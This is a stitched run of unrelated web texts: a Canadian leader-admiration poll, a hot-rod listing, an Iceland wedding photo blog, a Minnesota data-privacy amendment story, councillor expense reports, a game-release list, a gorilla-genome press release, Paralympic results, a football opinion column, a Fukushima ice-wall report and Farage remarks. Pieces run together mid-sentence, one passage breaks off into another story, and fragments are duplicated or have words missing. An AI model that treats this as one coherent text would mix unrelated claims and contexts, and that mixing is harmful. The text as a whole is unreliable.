Liberal Leader Justin Trudeau ranked highest among the four national party leaders included on the list, placing fifth, with his highest approval rating from Atlantic Canada, 48 per cent. One-quarter of Alberta respondents said they admired Mr. Trudeau.
Prime Minster Stephen Harper placed in the middle of the pack, at seventh spot nationally, fairing best in Saskatchewan and Manitoba, where he was admired by 39 per cent of respondents, and worst in Atlantic Canada with 13 per cent.
Green Party Leader Elizabeth May placed eighth and NDP Leader Thomas Mulcair took the 10th spot in the ranking.
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This is the first of what is expected to be a series of surveys, Ms. Kurl said, and names will be added and taken away from the list.
The survey, done between Oct. 9 and 17, has a margin of error of plus or minus three percentage points.A life-long automotive enthusiast, Sterling Shriber remains committed to covering the automotive industry, with a particular interest in topics relating to high performance and racing.
We’ve seen every kind of hot rod when it comes to Model As, but this is a job that stands apart from the others.
This car was listed on Hemmings for auction at a price of $55,900, but this job would hold a candle to even some of the $200,000 specimens out there.
The restorer removed the original 1930s 201 cubic inch I4 and replaced it with a 454 cubic inch big block GM V8, which will deliver in the neighborhood of 450 hp. Particularly eye catching is the Edelbrock street tunnel ram that’s been swapped with the factory intake, graced by two two Holley 600 cfm carburetors that give the rod a mean boost, with the transparent red fuel lines coming up adding a nice touch. The exhaust is short, ending right in front of the cockpit, but it gives a nice style to the car.
A three speed TH400 transmission gives power to a 9 inch Ford rear axle, with an old-school leaf spring suspension and disk brakes on all fours.
The paint job is a classic black, with a bit of accenting done in places. With all of the over the top hot rods going around these days, its’s nice to see someone embracing a more time tested touch. [youtube id=”zszYpKwvUrA” width=”800″ height=”450″]My daughter, Amelia, turned eleven this January. During the February school half-term break we embarked on a grand adventure together, spending a week in Iceland. The decision to make Iceland the location for this adventure had been triggered by our seeing Nichola & Marcus’s photographs and videos from a trip they had taken to the country last February, in particular those featuring Marcus’s proposal to Nichola on the shore of the glacier lagoon at Jökulsárlón. Our trip would also coincide with Nichola & Marcus returning to Iceland to marry, with a ceremony at Búðir Church in the Búðahraun lava fields in Staðarsveit and a visit a few days later to Jökulsárlón, to the very spot that they had first become engaged. Nichola & Marcus asked me to photograph these two occasions and as she would be my assistant, Amelia suggested that I buy her a camera for her eleventh birthday. So I did; a nice little compact camera with enough in the way of features for her to grow in to. As yet I’ve provided her with no direct instruction in photography, made no attempt to influence choice of subject matter, composition or timing; I was keen to see how she would work her way into using the medium and all that I have shown her is how to charge the battery in her new camera. Everything else she has thus far worked out for herself.
Every photograph in this blog post was taken by her. Originally I’d had it in mind to include a few of her images alongside my own when it came time for me to blog this wedding. When I saw what she had produced though, I knew immediately that I wanted to give her work a blog post of its own. I am amazed by what she has created. I’m thrilled to have this new insight into the way that she sees the world. I was impressed by her professionalism, calmness and perseverance throughout and am immeasurably proud of her for this and for all that she is.
I sense that it might well be me assisting her at some point in the not too distant future!
Thanks to Nichola & Marcus for having us both along for their Iceland wedding and for the world of wonder that it introduced us to. I’ll be back in time with my own take on the adventure but for now, this is the story of Nichola & Marcus’s Iceland wedding, through the eyes of Amelia.A move to change the Minnesota Constitution to protect text messages, e-mails and other electronic data from warrantless searches is getting enthusiastic support from a broad coalition of lawmakers and privacy advocates, but could face roadblocks from key DFL Senate leaders.
The “My Life, My Data” movement would make Minnesota the second state to amend its Constitution by adding the words “electronic communications and data” to Section 10 of the document, which guarantees “the right of the people to be secure in their persons, houses, papers and effects against unreasonable searches and seizures.” If approved, the amendment would appear on the November 2016 election ballot. A similar measure passed in Missouri last year with 75 percent of voter support.
The Minnesota version would protect bank records, text messages, e-mails and other data. Sen. Branden Petersen, R-Andover, is teaming up with DFL Sens. Scott Dibble of Minneapolis and John Marty of Roseville to push the amendment they say is needed to update the Constitution for the 21st century. A House version sponsored by Rep. Peggy Scott, R-Andover, also has bipartisan support.
Dibble, who chairs the Transportation and Public Safety Committee, said he signed on because of the ever-blurring line between what is public and private information.
“This is a set of values that unites all of us across our different party affiliations and ideologies,” he said. “I think a central unifying premise of our system of government is we only need as much government as necessary.”
The measure is working its way through House committees, but has hit an obstacle in the Senate, where Judiciary Committee Chairman Ron Latz, DFL-St. Louis Park, has blocked the bill from being heard in his committee. Latz said he opposes legislating by amendment, and thinks the proposal is redundant because recent court decisions support requiring a warrant for electronic data. Petersen counters that many circumstances have not been addressed by the courts, leaving data vulnerable.
Sen. Branden Petersen, R-Andover
“My hope is that we can change Senator Latz’s mind,” Petersen said. “I believe a majority of the Senate DFL caucus supports this bill, from the conversations I’ve had.”
Petersen said he has asked law enforcement for a formal opinion, but “I’d say their initial reaction was pretty good.”
Andy Skoogman, executive director of the Minnesota Chiefs of Police Association, declined to comment on the proposal.
Senate Majority Leader Tom Bakk, DFL-Cook, said Monday he is reluctant to see the amendment go forward and has not broached the topic with Republican House Speaker Kurt Daudt, of Crown.
“I’m generally reluctant on the whole idea of Constitutional amendments. In fact as a citizen I don’t know that I’ve ever voted in support of one,” Bakk said. “I think it would be unlikely we’re going to consider this for the ballot in ’16.”
Dibble, however, noted that the opinion of leadership may not be as influential in the Senate.
“The Senate operates a little differently than the House, and to be honest with you I wonder if Senator Bakk is even aware of this bill at this point,” Dibble said Monday. “We haven’t had a conversation in the caucus about it … it would be my goal and my intention to raise this conversation in a larger context setting.”
‘It’s not about party politics’
Karl Eggers, of Liberty Minnesota, a libertarian grass roots group, said the measure goes beyond the usual red/blue divide.
“It’s not about party politics, it’s not about egos,” Eggers said. “It’s about protecting the U.S. Constitution.
Eggers was among a number of privacy advocates who attended the Monday news conference, along with the American Civil Liberties Union, Tea Party Minnesota, Occupy Minnesota and others.
“Everyone up here is saying Minnesota supports its traditional right to be free from unreasonable searches and seizures,” said privacy advocate Matt Ehling, who also leads the legislative issues committee for the Minnesota Coalition on Government Information. “They’re also saying they support a modest, targeted constitutional amendment to make clear that these protections still apply in our digital era.”
On Monday afternoon the Republican Party of Minnesota sent out an e-mail touting the proposed amendment and urging supporters to contact Latz’s office to ask for a hearing.Local county councillors racked up a bill of €80,900 on fuel, food and hotels as they attended conferences the length and breadth of the country last year.
Local county councillors racked up a bill of €80,900 on fuel, food and hotels as they attended conferences the length and breadth of the country last year.
Westport, Galway, Carlingford and Rosscarbery in Cork were among the common destinations for Kilkenny’s councillors as they stayed overnight to attend conferences, according to documents from the council. In many cases, councillors made several trips to each location throughout 2013.
Fianna Fail councillor Pat Millea had the highest amount of ‘training and education’ expenses, claiming €5,074.34. The 74-year-old attended nine conferences, including three in Westport and three in Galway.
The highest average spend per conference was by Fianna Fail’s Andrew McGuinness. He attended eight conferences, and claimed €5,046.46 – an average of over €630 per trip.
Labour councillor Tommy Prendergast claimed expenses for more conferences than any other councillor. He attended 12 conferences, totalling over €5,000, between February 1 and December 13 in various locations, including three in Bunratty, Clare.
Labour’s Maurice Shortall attended ten conferences in the seven months between January and July, accumulating a €4,440.78 bill. In January alone, he and Fine Gael councillor John Brennan both attended conferences three weekends in a row – in Westport, Donegal, and Limerick. Cllr Marie Fitzpatrick did not attend any conferences in the first nine months of the year, however from October up until Christmas, she attended two conferences in Carlingford, and three in Rosscarbery, Cork.
While some went to conferences in up to eight different locations, others paid repeat visits to certain places. For example, there was a collective total of 20 trips to conferences in Galway in 2013 – between just nine councillors. Fine Gael councillor Mary Hilda Cavanagh attended five separate conferences in Galway in a five-month period, while Fianna Fail councillor Matt Doran attended four conferences there during the year.
The 10 councillors who went to conferences in Carlingford did so 19 times between them. Fianna Fail councillor Eamon Aylward made four different overnight trips to conferences in Carlingford in May, June, October and November respectively.
In total, there were over 160 conference visits. They covered a variety of themes, ranging from the specific – ‘Domestic Water Metres for Ireland’, ‘Countdown to Local Elections 2014’, and ‘Action Plan for Jobs’ – to more abstract concepts such as ‘Supporting Vounteerism’ (in the four-star Manor West Hotel, Tralee,) and ‘Time and Priority Management for councillors’ (in Bunratty Castle).
Cllrs Pat Millea and Andrew McGuinness attended one conference on ‘Community based CCTV’ (Westport), and both were among the seven councillors who attended a two-day conference on ‘Early Education and Childcare’ in Tralee the following weekend.
Cllrs Mary Hilda Cavanagh and Pat Crowley attended a conference in Rosscarbery, Cork, entitled ‘The Life and Times of Michael Collins’, although Cllr Crowley did not claim expenses for it.
Cllr Jane Moran went to a conference ‘West Cork Tourism Seminar’ in Rosscarbery, Cork, and both Cora Long and Eamon Aylward attended a conference called ‘Kerry Environmental and Cultural Heritage’ in Ballybunion from September 18-21.
The final conference of the year, held in Cork the weekend before Christmas, was ‘Microsoft Excel Training for Councillors’. It was attended by Billy Ireland(FG) and Marie Fitzpatrick (Labour).PHILADELPHIA (CBS) — Powelton residents are celebrating this week after scores rallied to successfully save their community garden.
This isn’t the first time their neighborhood treasure was at risk.
“We like to garden, so we did it,” said John Lindsay.
He founded the Wiota Street Garden at Wiota and Powelton in the 1980s and, over the years, Lindsay and his neighbors have fought off developers.
“We had that rally last summer, hundreds and hundreds of signature,” he said.
This week, another win, as scores convinced the Redevelopment Board to unanimously save their 11,000 square foot lot from being sold to a developer, despite council support.
“It was a wonderful moment, I was actually at the public hearing,” said Kaitlin Pomerantz, who adds that neighborhood passion is what saved Wiota.
Attorney Amy Laura Cahn, who works on a garden justice initiative, says the city is home to hundreds of urban gardens, and many are being eyed by developers.
“If a decision has to be made between a brick-and-mortar development and a garden, most often the brick-and-mortar development has won out,” she said.
Lindsay says’ he won’t give the city a choice.
“We’ll make it look so good, they won’t want to possibly get rid of it,” he said.In the world called Aterra where the Star God is worshipped, monsters have begun to spawn from the mysterious labyrinth. However, the Star God has imbued certain young adults--Disciples--with the power to fight monsters, as well as create Star Children to aid in the battle. Only Disciples and Star Children can defeat the monsters, and you, as God's Gift, have an additional weighty task: to bond with seven other Disciples and bear many Star Children to help your world survive! Click to expand...
2014 is about a week away. Holy shit! With everyone's attention focused on the shiny new boxes under their TVs right now though, portables aren't getting much attention. So, I slapped together a list of some of the more interesting games that are only on portables in 2014. Note that this list is far from comprehensive, and that it doesn't include the myriad indie games that are on every single system ever (sorry, Vita.)*List is in order of US release date: Yumi's Odd Odyssey: Agatsuma Entertainment: Platformer: 3DS: January 2014Chances are that you haven't heard of this one. Yumi's Odd Odyssey is the US, eShop-only release of Sayonara, Umihara Kawase. Still not ringing a bell? Okay, well this is the sequel to a series of cult-classic platformers from the mid-'90s that has some of the most satisfying grappling hook mechanics of any game out there. And it's really goddamn difficult. It'll put hair on your chest! It's definitely one to look out for next year.: Bravely Default: Square-Enix: RPG: 3DS: February 7, 2014This is the big one in Q1. Bravely Default has been lauded as a return to form for Square-Enix. The US release is based on the "For the Sequel" re-release in Japan, which makes a series of minor tweaks to the game. It also incorporates microtransactions, but despite best efforts, Square-Enix was unable to fuck the game up with them.: Dangan Ronpa: Trigger Happy Havoc: Spike Chunsoft: Adventure/Visual Novel: Vita, PSP (Japan-only): February 11, 2014Those who played the Japanese release have been pretty enthusiastic about this one. It's commonly described as "Phoenix Wright meets 999." Tough to argue with that.: Toukiden: Omega Force: 3rd Person Action/MonHun clone: Vita: February 11, 2014It's a monster hunting game, and the music is fucking: Ragnarock Odyssey ACE: GameArts: RPG: Vita: February 18, 2014This is an expanded version of the original RO, which was a monster hunting RPG that came out in 2012. People weren't super-jazzed about the original Ragnarok Odyssey, so there's not much reason to be terribly optimistic here. Still, it's something... kinda... sorta... :-/Title: Final Fantasy X/X-2 HDDeveloper: Square-EnixGenre: RPGPlatform: VitaRelease: March 18, 2014Description:The long-awaited re-release of Final Fantasy X and X-2 is finally coming out. The games feature redone visuals, including higher resolution textures. Square also took the liberty of redoing the character models (generally poorly) and remixing the music (with varying success.) Will it actually be an improvement when all is said and done? Shit, I dunno. Square will be releasing both games as a package, however, only Final Fantasy X gets a physical copy. FFX-2 is included as a download code, which makes all the sense in the fucking world. The package is also available on the PS3, where both games will be included on the disc.: Shantae and the Pirate's Curse: Wayforward, IntiCreates: Platformer: 3DS: Q1 2014The sequel to Shantae: Risky's Revenge.. This is a really great series of platformers from some really capable developers. The game is planned to have a more Metroid-style map system this time around, but given how well WayForward handled that in their Aliens game, they'll probably have little problem pulling it off here. If you're into platformers, there's pretty much no chance this will disappoint (but no guarantees.): Treasurenauts: Renegade Kid: 2D Action/Adventure: 3DS: Q1 2014The new game from the developers of Mutant Mudds, Treasurenauts is another 2D actioner where you plunder a bunch of random locales for treasure. And there's equipment and retro-styled graphics. Original! Ordinarily, I wouldn't give much of a shit about it, but Mutant Mudds was a well-made game, so I'm willing to give these guys the benefit of the doubt. It's probably great.: Metrico: Digital Dreams: Puzzle Platformer: Vita: Q1/Q2 2014The developers said not to call this a puzzle platformer, instead opting to refer to it as an "action puzzler," but they're not about to pull the wool over my fucking eyes. Anyway, the game is composed of infographics (meaning stuff that looks like Powerpoint presentations and Excel graphs) that you puzzle platform your way through. The game is said to use all of the Vita's various hardware functionality, and even though it looks pretentious as all get out, it's generated some pretty positive buzz.: OlliOlli: Roll7: Sports... kinda? It's 2D Tony Hawk: Vita: Early 2014Basically Super Meat Boy meets Tony Hawk's Pro Skater, OlliOlli is a really promising Vita exclusive. The game clearly caters to fans of super high-skill 2D platformers, so hopefully the game will control as gracefully as its inspirations.: Conception II: Children of the Seven Stars: Spike Chunsoft: RPG: 3DS, Vita: April 8, 2014Yeah, this isgame. You bang tsundere onesamas, collect the resulting kids, and make them fight in dungeons. It's been compared to Persona, and it's Spike Chunsoft, so it's probably not, but man... this is pushing it.: Demon Gaze: Kadokawa Games: RPG: Vita: April 22, 2014This is a dungeon crawler. Boy is it ever! It's also the game with that notorious panty-sniffing picture that I'm not going to post in here, because we're too goddamn classy for that horse shit.: Yoshi's New Island: Nintendo: Platformer: 3DS: Q2 2014We still don't know too terribly much about this 3DS iteration of the Yoshi's Island series, but visually, it ain't there yet. The visuals smack of Yoshi's Story more than anything, but the dough-y art style isn't exactly hip in 2013. Still, the game hasn't been seen in quite a while, so it's possible they've spruced it up a bit. What little gameplay footage is out there reveals a game that looks to play exactly how you'd expect a Yoshi's Island game to play. The only new feature we've seen is Yoshi's ability to snarf up big enemies to create giant, terrain-destroying eggs. Hopefully, this one will turn out.: Persona 4: Dancing All Night: Atlus: Rhythm: Vita: Fall 2014 (Japan)A completely unexpected spin-off of Persona 4, Dancing All Night is a rhythm game set during the events of Persona 4. That actually almost makes sense for this series.: Deception IV: Blood Ties: Tecmo: Murder Simulator: Vita: 2014The newest entry in the long-running Deception series, Deception IV looks to offer more of the same strategic gameplay. The series has you playing as some random babe, setting traps for enemies, and then watching them die in horrible ways. And it's. The game is also planned for a Playstation 3 release.: Freedom Wars: SCE Japan: 3rd Person Action: Vita: 2014Freedom Wars is set 10,000 years in the future, where humans live underground in an overpopulated society. Criminals are forced to fight monsters.. Game actually looks pretty rad, from what little we've seen of it. No US date has been announced yet, but it seems like a likely 2014 release.: Gravity Rush 2: SCE Japan: Action/Adventure: Vita: TBAGravity Rush was rad. What do we know about the sequel? Like, nothing. But the high-flying antics are sure to return, and Raven is still a total babe.: Kirby Triple Deluxe: HAL Laboratory: Platformer: 3DS: 2014 (January 11, 2014 in Japan)This is (based on Wikipedia) the thirteenth platformer in the Kirby series. This installment lets you jump between the foreground and background, a la the Virtual Boy Wario game. You also have 4 new powers. It looks significantly more interesting than the last few Kirby games, too, so please look forward to it.Title: The Legend of Heroes: Trails in the Sky: Second ChapterDeveloper: FalcomGenre: RPGPlatform: PSPRelease: 2014Description:A couple years after releasing the first TitS in the US, in all of its cliffhanger-y glory, XSEED finally announced that they'd be bringing the massive second chapter of the story to the US in 2014. The game will be released digitally for the PSP (ie: playable on Vita) and on the PC. It's worth noting, though, that the game will look significantly better on PC.: Mario Golf: World Tour: Camelot: Sports: 3DS: 2014It's Mario Golf. You play golf. Camelot always does a good job with these games, so it's pretty much guaranteed to be fun. Online golf tournaments are confirmed.: Monster Hunter 4: Capcom: Monster Hunter: 3DS: 2014I'm actually not sure if it's been officially announced for the US yet, but we know this one is coming. In either case, this is Monster Hunter. It's bigger, badder, and has more visually arresting aesthetics. Series fans will inevitably drool with sadistic glee, while MonHun neophytes will doubtlessly be crushed by the hours of learning ahead of them. A portion of your proceeds (100%) will be donated to Capcom's mobile gaming division. Is that the same as funding terrorism? You decide!: Murasaki Baby: Ovosonico: Puzzle Platformer: Vita: 2014Brought to you by Massimo Guarini, who previously worked on games like Killer7 and No More Heroes, Murasaki Baby is a puzzle platformer that takes advantage of the Vita's functionality. The artstyle is fairly unique... though that main character isunappealing. Whatever. The game is probably pretty good. Look for it on PSN.: Over My Dead Body 2 (Ore no Shikabane wo Koete Yuke 2): Alfa System: RPG: Vita: TBA (Q3 2014 in Japan)The sequel to a Japan-only PS1 game from 1999, Over My Dead Body 2 has one of the most appealing art styles of any game slated for 2014. Just look at the thing! Nothing's been said about a US release yet, though there have been some positive rumblings coming from Yoshida's corner, and Tom from XSEED is probably chomping at the bit to get this one localized, so chances of it coming out in the States are probably decent.: Persona Q: Shadow of the Labyrinth: Atlus: RPG: 3DS: TBAPersona Q is a dungeon crawler spin-off featuring chibi versions of the Persona 3 and 4 casts. The game is takes the gameplay elements of the Etrian Odyssey series, and infuse them with Persona's personality. Sounds like a win-win.: Professor Layton vs. Phoenix Wright: Level-5, Capcom: Adventure/Puzzle: 3DS: 2014The Layton and Phoenix Wright mashup is finally coming stateside in 2014. Layton does the investigating, Phoenix Wright does the lawyering.. Impressions of the game were somewhat mixed upon the Japanese release, with some players digging the mashup of gameplay styles, and others lamenting the absence of fan favorite characters from both series.Title: Puyo Puyo TetrisDeveloper: SegaGenre: PuzzlePlatform: Vita, PS3, WiiURelease: 2014 (Japan only)Description:There are literally (and I mean literally, not figuratively) a trillion Puyo Puyo games out there. This is the first one to try something cool in decades. One dude plays Puyo Puyo while the other plays Tetris, but only one dude can win. Will it be you?! No, it will be me. The game is currently only scheduled for a Japanese release, but since the Vita is |
set the type of example we all expect from a great Olympic champion," the group said.MENLO PARK, Calif., March 31, 2016 -- Pacific Biosciences of California, Inc., (Nasdaq:PACB) the pioneer and leader in long-read sequencing using its Single Molecule, Real-Time (SMRT®) technology, today announced that scientists from the University of Washington, the McDonnell Genome Institute at Washington University in St. Louis, and other institutions have published the best genome assembly of the gorilla to date -- more than 150-fold improvement over previous assemblies -- using long-read SMRT Sequencing from Pacific Biosciences. The peer-reviewed paper appears in the April 1 issue of the journal Science and is available online today.
Analysis of the gorilla genome promises to shed light on biological mechanisms behind speech, disease, neurological behavior, and other traits that separate us from our closest primate relatives. The previous gorilla genome assembly, built with short-read and Sanger sequencing data, was highly fragmented, containing more than 400,000 gaps with missing sequence, and was constructed using the human genome as a guiding reference. The new assembly, which was carried out de novo (i.e., without any reference information), represents a remarkable decrease in assembly fragmentation (433,861 pieces previously vs. 15,997 with PacBio data, or a >96% reduction in the degree of fragmentation). The PacBio assembly recovers 93% of the gaps and nearly all exons missing from the previous assembly, and provides at least 148 Mbp of additional euchromatic sequence. The authors used information from six additional western lowland gorilla genomes to create a pan-reference genome for use by the scientific community.
"Our results demonstrate the utility of long-read sequence technology to generate high-quality working draft genomes of complex vertebrate genomes without guidance from preexisting reference genomes," the authors report in the paper. "The genome assembly that results from using the long-read data provides a more complete picture of gene content, structural variation and repeat biology, as well as allows us to refine population genetic and evolutionary inferences."
The team used PacBio's SMRT Sequencing, followed by assembly and polishing with PacBio's new FALCON assembly and Quiver consensus algorithms to create a more complete picture of the gorilla genome. FALCON enabled the researchers to traverse most repetitive structures, validating the utility of the experimental tool for assembling complex genomes and representing the first published use of this genome assembler. More information about the assembly is provided in the PacBio blog.
Jonas Korlach, Chief Scientific Officer of Pacific Biosciences, commented: "We are delighted by the authors' suggestion that our approach provides a routine way to assemble complex genomes without relying on reference genomes, bringing high-quality de novo mammalian assemblies within the reach of individual labs. This paper also demonstrates the importance of true long reads over scaffolding approaches for generating highly contiguous genomes without gaps, which is necessary for understanding gene content, population genetic diversity, ancestral evolution, and species biology." ave just published the best genome assembly of the gorilla to date,using long-read SMRT Sequencing from Pacific Biosciences. The peer-reviewed paper appears in the April 1 issue of the journal Science and is available online today.
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The paper, "Long-read sequence assembly of the gorilla genome," by Gordon et al. is available at: http://science. sciencemag. org/ cgi/ doi/ 10. 1126/ science. aae0344
About Pacific Biosciences
Pacific Biosciences of California, Inc. (NASDAQ:PACB) offers sequencing systems to help scientists resolve genetically complex problems. Based on its novel Single Molecule, Real-Time (SMRT®) technology, Pacific Biosciences' products enable: de novo genome assembly to finish genomes in order to more fully identify, annotate and decipher genomic structures; full-length transcript analysis to improve annotations in reference genomes, characterize alternatively spliced isoforms in important gene families, and find novel genes; targeted sequencing to more comprehensively characterize genetic variations; and real-time kinetic information for epigenome characterization. Pacific Biosciences' technology provides high accuracy, ultra-long reads, uniform coverage, and is the only DNA sequencing technology that provides the ability to simultaneously detect epigenetic changes. PacBio® sequencing systems, including consumables and software, provide a simple, fast, end-to-end workflow for SMRT Sequencing. More information is available at http://www. pacb. com.
Forward-Looking Statements
All statements in this press release that are not historical are forward-looking statements, including, among other things, statements relating to future uses, quality or performance of, or benefits of using, products or technologies, and other future events. You should not place undue reliance on forward-looking statements because they involve known and unknown risks, uncertainties, changes in circumstances and other factors that are, in some cases, beyond Pacific Biosciences' control and could cause actual results to differ materially from the information expressed or implied by forward-looking statements made in this press release. Factors that could materially affect actual results can be found in Pacific Biosciences' most recent filings with the Securities and Exchange Commission, including Pacific Biosciences' most recent reports on Forms 8-K, 10-K and 10-Q, and include those listed under the caption "Risk Factors."
Pacific Biosciences undertakes no obligation to revise or update information in this press release to reflect events or circumstances in the future, even if new information becomes available.
Contacts
Media:
Nicole Litchfield
415.793.6468
nicole@bioscribe.com
Investors:
Trevin Rard
650.521.8450
ir@pacificbiosciences.comCanada’s Josh Dueck won silver in the men’s sitting downhill race at the Sochi Paralympics on Saturday, 10 years to the day that he lost the use of his legs.
Dueck, of Kimberley, B.C., finished in a time of one minute, 24.19 seconds, just 0.39 seconds behind gold medallist Akira Kano of Japan in a crash-filled race. Kano’s teammate Takeshi Suzuki took bronze.
"It's fantastic,” Dueck said. "I took some chances trying to find the fastest line down the hill. I am thrilled. Second was awesome. It creates a positive vibe and I'm looking forward to doing the super-G."
On March 8, 2004, Dueck, then a freestyle skier, broke his neck and back when he overshot the landing of a demonstration jump and fell 30 metres, severing his spinal cord.
"Ten years ago today I broke my back and it's a very powerful moment of time,” he said. “Moving forward in life is very important and I'm proud of that."
The 33-year-old Dueck could easily add to his medal haul later on in the Games, as he is also a major contender in the super-G, super combined, and giant slalom. He won a silver at the 2010 Paralympics in Vancouver and gained international fame when he became the first sit-skier in history to complete a backflip in 2012.
At one brief point, both of Dueck’s teammates were also in medal positions, but Edmonton’s Kurt Oatway and Caleb Brousseau of Terrace, B.C., both finished just off the podium. Oatway was fifth, in a time of 1:25.46, while Brousseau was sixth clocking in at 1:25.62.
Tyler Walker of the U.S. had to be airlifted from the slopes and taken to the hospital after suffering a serious crash during his run. The U.S. Paralympic team has since reported that he is stable and conscious.
Marcoux breaks through
Earlier in the day, Mac Marcoux won Canada’s first Paralympic medal when he took bronze in the men’s visually-impaired downhill competition with guide Robin Fémy.
Marcoux, of Sault Ste. Marie, Ont., finished in a time of 1:23.02, just ahead of Jakub Krako of Slovakia, who was a little over three tenths behind.
Canada's Mac Marcoux, who has competed internationally since 2013, follows guide Robin Femy during the men's downhill on Saturday at the Sochi Paralympics. (Christian Hartmann/Reuters) "I'm so excited right now," said after the race. "Words just can't explain. I thought it was a decent run and a solid run." Marcoux
Just 16 years old, Marcoux is the youngest member of Canada’s 2014 Paralympic team. He is normally guided on the course by his brother, Billy Joe, but B.J. pulled out of competition on Wednesday with an injury.
Spain’s Yon Santacana Maiztegui won gold in a time of 1:21.76, while Miroslav Haraus of Slovakia took silver in 1:22.01.
In the men’s downhill standing category, Austria’s Markus Salcher won gold in a time of 1:24.35, narrowly squeaking by Russia’s Alexey Bugaev for the title. The Russian finished only 0.06 seconds behind. Vincent Gauthier-Manuel of Franze won bronze. Neither Kirk Schornstein of Spruce Grove, Alta., nor Victoria’s Braydon Luscombe finished their runs in the competition.
Slovakia’s Henrieta Farkasova took the first gold medal of the Paralympics when she won the women’s downhill in the visually-impaired classification. She finished in a time of 1:31.55. Jade Etherington of Great Britain took silver, 2.73 seconds behind, while Russia’s Aleksandra Frantceva won bronze.
France’s Marie Bochet won the women’s standing downhill title in 1:30.72. Russia’s Inga Medvedeva took silver, 1.47 seconds back, while Allison Jones of the United States won bronze.
Anna Schaffelhuber of Germany won gold in the women’s downhill for the sitting classification, finishing in 1:35.55, a mere 0.14 seconds ahead of Alana Nichols of the United States. Nichols’ teammate Laurie Stephens won bronze.
(With files from Paralympic News Service)If the Cameron government is bad news for those seeking radical change, the World Cup is even worse. It reminds us of what is still likely to hold back such change long after the coalition is dead. If every rightwing thinktank came up with a scheme to distract the populace from political injustice and compensate them for lives of hard labour, the solution in each case would be the same: football. No finer way of resolving the problems of capitalism has been dreamed up, bar socialism. And in the tussle between them, football is several light years ahead.
Modern societies deny men and women the experience of solidarity, which football provides to the point of collective delirium. Most car mechanics and shop assistants feel shut out by high culture; but once a week they bear witness to displays of sublime artistry by men for whom the word genius is sometimes no mere hype. Like a jazz band or drama company, football blends dazzling individual talent with selfless teamwork, thus solving a problem over which sociologists have long agonised. Co-operation and competition are cunningly balanced. Blind loyalty and internecine rivalry gratify some of our most powerful evolutionary instincts.
The game also mixes glamour with ordinariness in subtle proportion: players are hero-worshipped, but one reason you revere them is because they are alter egos, who could easily be you. Only God combines intimacy and otherness like this, and he has long been overtaken in the celebrity stakes by that other indivisible One, José Mourinho.
In a social order denuded of ceremony and symbolism, football steps in to enrich the aesthetic lives of people for whom Rimbaud is a cinematic strongman. The sport is a matter of spectacle but, unlike trooping the colour, one that also invites the intense participation of its onlookers. Men and women whose jobs make no intellectual demands can display astonishing erudition when recalling the game's history or dissecting individual skills. Learned disputes worthy of the ancient Greek forum fill the stands and pubs. Like Bertolt Brecht's theatre, the game turns ordinary people into experts.
This vivid sense of tradition contrasts with the historical amnesia of postmodern culture, for which everything that happened up to 10 minutes ago is to be junked as antique. There is even a judicious spot of gender-bending, as players combine the power of a wrestler with the grace of a ballet dancer. Football offers its followers beauty, drama, conflict, liturgy, carnival and the odd spot of tragedy, not to mention a chance to travel to Africa and back while permanently legless. Like some austere religious faith, the game determines what you wear, whom you associate with, what anthems you sing and what shrine of transcendent truth you worship at. Along with television, it is the supreme solution to that age-old dilemma of our political masters: what should we do with them when they're not working?
Over the centuries, popular carnival throughout Europe, while providing the common people with a safety valve for subversive feelings – defiling religious images and mocking their lords and masters – could be a genuinely anarchic affair, a foretaste of a classless society.
With football, by contrast, there can be outbreaks of angry populism, as supporters revolt against the corporate fat cats who muscle in on their clubs; but for the most part football these days is the opium of the people, not to speak of their crack cocaine. Its icon is the impeccably Tory, slavishly conformist Beckham. The Reds are no longer the Bolsheviks. Nobody serious about political change can shirk the fact that the game has to be abolished. And any political outfit that tried it on would have about as much chance of power as the chief executive of BP has in taking over from Oprah Winfrey.Tepco says it is behind schedule with scheme because temperature of pipes sunk into ground is not low enough
The operator of Japan's battered Fukushima nuclear power plant has said it is having trouble with the early stages of an ice wall being built under broken reactors to contain radioactive water.
Tokyo Electric Power (Tepco) has begun digging the trenches for a huge network of pipes under the plant through which it intends to pass refrigerant.
This will freeze the soil and form a physical barrier that is intended to prevent clean groundwater flowing down mountainsides from mixing with contaminated water underneath the leaking reactors.
Tepco said on Tuesday that a smaller, inner ice wall whose pipes it sank earlier to contain the already-contaminated water was proving difficult.
"We have yet to form the ice stopper because we can't make the temperature low enough to freeze water," a Tepco spokesman said.
"We are behind schedule but have already taken additional measures, including putting in more pipes, so that we can remove contaminated water from the trench starting next month."
The coolant being used in the operation is an aqueous solution of calcium chloride, which is cooled to -30C (-22F).
The idea of freezing a section of the ground, which was proposed for Fukushima last year, has previously been used in the construction of tunnels near watercourses.
However, scientists point out that it has not been done on this scale before, nor for the proposed length of time.
Coping with the huge – and growing – amount of water at the tsunami-damaged plant is proving to be one of the biggest challenges for Tepco, as it tries to clean up the mess after the worst nuclear disaster in a generation, in which three reactors went into meltdown.
As well as all the water used to keep broken reactors cool, the utility must also deal with water that makes its way along subterranean watercourses from mountainsides to the sea.
Full decommissioning of the plant at Fukushima is expected to take several decades. An area around the plant remains out of bounds, and experts warn that some settlements may have to be abandoned because of high levels of radiation.Photo: Suzanne Plunkett, Reuters
Malta, Italy and Greece are all in for a terrible shock on migrant solidarity, the leader of UKIP Nigel Farage told Times of Malta, hours after a migrant relocation deal was hammered out at an acrimonious EU Council meeting.
“If you think you’re a part of some collegiate European Union to help you out of the migrant crisis you’ve got another thing coming. Look at the elections in Denmark, Finland, look at the rise of parties across Europe which will say no (to helping with migrants). You’ve got a major problem,” Mr Farage said.
Fractious European leaders argued into the early hours of this morning over how to handle a migrant crisis in the Mediterranean, eventually agreeing a plan to share out the care of desperate people fleeing war and poverty in North Africa and the Middle East.
The discussions split countries like Italy, Malta and Greece with Eastern European countries, which were reluctant to accept a migrant relocation system.
The EU-sceptic Mr Farage has warned against “waves of millions” of people from Africa coming to Europe if the EU agrees a common policy for tackling migrant deaths in the Mediterranean.
Sitting at the press bar during the EU summit, Mr Farage made it a point to highlight David Cameron’s failure so far to rally support for a treaty change ahead of Britain's in/out referendum in 2017.
“It’s been a disaster. The Prime Minister is talking about treaty change. Foreign Secretary Hammond said it was necessary to get treaty change to get the conditions we needed. And at the first hurdle where it’s been on the agenda at the summit it gets vetoed,” Mr Farage said.
“Amid the night of great disagreement and bickering at the European Council the only point of unanimity is that Mr Cameron can’t get support for the treaty change. He’s starting off in a weak place. Not a good start.”
Mr Cameron called Prime Minister Joseph Muscat on Wednesday night to ask for support for Britain’s plan to amend the EU treaty.
Dr Muscat said Malta will not accept EU treaty changes by stealth.
